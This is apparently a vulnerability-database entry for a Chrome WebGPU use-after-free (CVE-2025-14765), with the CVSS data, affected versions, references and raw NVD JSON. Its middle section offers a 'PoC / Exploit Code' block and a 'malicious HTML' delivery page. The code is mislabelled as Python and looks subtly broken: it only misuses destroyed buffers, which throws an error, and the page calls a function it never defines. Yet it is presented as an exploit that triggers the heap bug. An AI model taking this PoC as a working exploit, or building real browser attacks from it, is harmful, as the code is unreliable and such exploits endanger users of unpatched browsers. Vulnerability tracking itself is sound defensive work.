CVE-2025-14765

Description

Use after free in WebGPU in Google Chrome prior to 143.0.7499.147 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.147

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-14765 PoC - WebGPU Use After Free
// This PoC demonstrates triggering WebGPU UAF condition

async function triggerUAF() {
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();
    
    // Rapidly create and destroy WebGPU objects to trigger race condition
    const buffers = [];
    for (let i = 0; i < 1000; i++) {
        const buffer = device.createBuffer({
            size: 1024,
            usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC
        });
        buffers.push(buffer);
    }
    
    // Destroy buffers while still holding references
    buffers.forEach(buf => buf.destroy());
    
    // Attempt to access destroyed buffers (triggers UAF)
    try {
        buffers.forEach(buf => {
            const data = new Uint8Array(buf.getMappedRange());
        });
    } catch (e) {
        console.log('UAF condition triggered');
    }
}

// Malicious HTML page to deliver the exploit
const maliciousHTML = `
<!DOCTYPE html>
<html>
<head><title>WebGPU UAF PoC</title></head>
<body>
<h1>Loading WebGPU exploit...</h1>
<script>
if ('gpu' in navigator) {
    triggerUAF();
} else {
    document.body.innerHTML = '<p>WebGPU not supported</p>';
}
</script>
</body>
</html>
`;

console.log('PoC for CVE-2025-14765');
console.log('Target: Google Chrome < 143.0.7499.147');
console.log('Vulnerability: WebGPU Use After Free');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14765
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14765
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14765/
[4] VulDB https://vuldb.com/cve/CVE-2025-14765
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_16.html
[6] https://issues.chromium.org/issues/448294721

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14765", "sourceIdentifier": "[email protected]", "published": "2025-12-16T23:15:44.447", "lastModified": "2025-12-18T19:53:39.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebGPU in Google Chrome prior to 143.0.7499.147 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.146", "matchCriteriaId": "4CC700EA-0A87-4454-B4B2-1695356405B4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_16.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/448294721", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}